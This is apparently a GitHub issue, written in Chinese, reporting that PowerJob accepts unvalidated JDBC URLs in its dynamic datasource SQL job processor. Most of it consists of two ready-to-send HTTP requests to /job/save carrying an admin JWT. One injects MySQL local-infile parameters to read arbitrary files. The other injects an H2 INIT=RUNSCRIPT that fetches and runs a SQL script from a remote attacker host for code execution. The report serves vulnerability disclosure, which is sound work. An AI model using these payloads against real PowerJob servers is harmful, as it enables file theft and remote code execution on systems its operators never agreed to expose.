利用 JDBC URL 进行攻击
Author: FushulingCreated Aug 18, 2026Updated Aug 30, 2026
Labelsbug
当前的代码逻辑里没有限制用户传入的 JDBC URL，因此攻击者可以通过注入一些危险的参数进行攻击，比如 mysql 和 h2 这两个驱动都可以进行攻击
mysql 任意文件读取
POST /job/save HTTP/1.1
Host: localhost:7700
User-Agent: curl/8.21.0
Accept: */*
PowerJwt: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlBXSkJfQURNSU4iLCJlbmNyeXB0ZWRUb2tlbiI6IkFETUlOX2I4MmE0NTA3MDFmNmE3MTcyM2ZiOTk5MzFmZTM1ZTE4X2IiLCJzdWIiOiJQb3dlckpvYiIsImV4cCI6MTc4NzY0NzUxNCwianRpIjoiNGIwMzdkODAtMGE5Mi00YjBjLTg4OGItN2NhZTZmNWU2ZGIyIn0.KZ1394vznZ3g7XkXwJpmh6Px6lCpaz6RWkh4EjNaiog
AppId: 1
Content-Type: application/json;charset=UTF-8
Content-Length: 786
{"jobName":"jdbc-mysql-local","jobDescription":"mysql jdbc test to local docker mysql","jobParams":"{\"jdbcUrl\":\"jdbc:mysql://xxxx:3307/?allowPublicKeyRetrieval=true&allowLoadLocalInfile=true&allowUrlInLocalInfile=true\",\"user\":\"root\",\"password\":\"No1Bug2Please3!\",\"sql\":\"select 1 as one, database() as db, user() as u\",\"timeout\":60,\"showResult\":true}","timeExpressionType":"API","timeExpression":"","executeType":"STANDALONE","processorType":"BUILT_IN","processorInfo":"tech.powerjob.official.processors.impl.sql.DynamicDatasourceSqlProcessor","maxInstanceNum":0,"concurrency":5,"instanceTimeLimit":0,"instanceRetryNum":0,"taskRetryNum":0,"minCpuCores":0,"minMemorySpace":0,"minDiskSpace":0,"enable":true,"maxWorkerCount":0,"dispatchStrategy":"HEALTH_FIRST"}h2 RCE
POST /job/save HTTP/1.1
Host: localhost:7700
User-Agent: curl/8.21.0
Accept: */*
PowerJwt: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlBXSkJfQURNSU4iLCJlbmNyeXB0ZWRUb2tlbiI6IkFETUlOX2I4MmE0NTA3MDFmNmE3MTcyM2ZiOTk5MzFmZTM1ZTE4X2IiLCJzdWIiOiJQb3dlckpvYiIsImV4cCI6MTc4NzY0NzUxNCwianRpIjoiNGIwMzdkODAtMGE5Mi00YjBjLTg4OGItN2NhZTZmNWU2ZGIyIn0.KZ1394vznZ3g7XkXwJpmh6Px6lCpaz6RWkh4EjNaiog
AppId: 1
Content-Type: application/json;charset=UTF-8
Content-Length: 731
{"jobName":"jdbc-h2-test","jobDescription":"h2 jdbc test","jobParams":"{\"jdbcUrl\":\"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxxxxx:50025/poc.sql'\",\"user\":\"sa\",\"password\":\"\",\"sql\":\"select 1 as one, 'hello' as greeting\",\"timeout\":60,\"showResult\":true}","timeExpressionType":"API","timeExpression":"","executeType":"STANDALONE","processorType":"BUILT_IN","processorInfo":"tech.powerjob.official.processors.impl.sql.DynamicDatasourceSqlProcessor","maxInstanceNum":0,"concurrency":5,"instanceTimeLimit":0,"instanceRetryNum":0,"taskRetryNum":0,"minCpuCores":0,"minMemorySpace":0,"minDiskSpace":0,"enable":true,"maxWorkerCount":0,"dispatchStrategy":"HEALTH_FIRST"}Source: PowerJob/PowerJob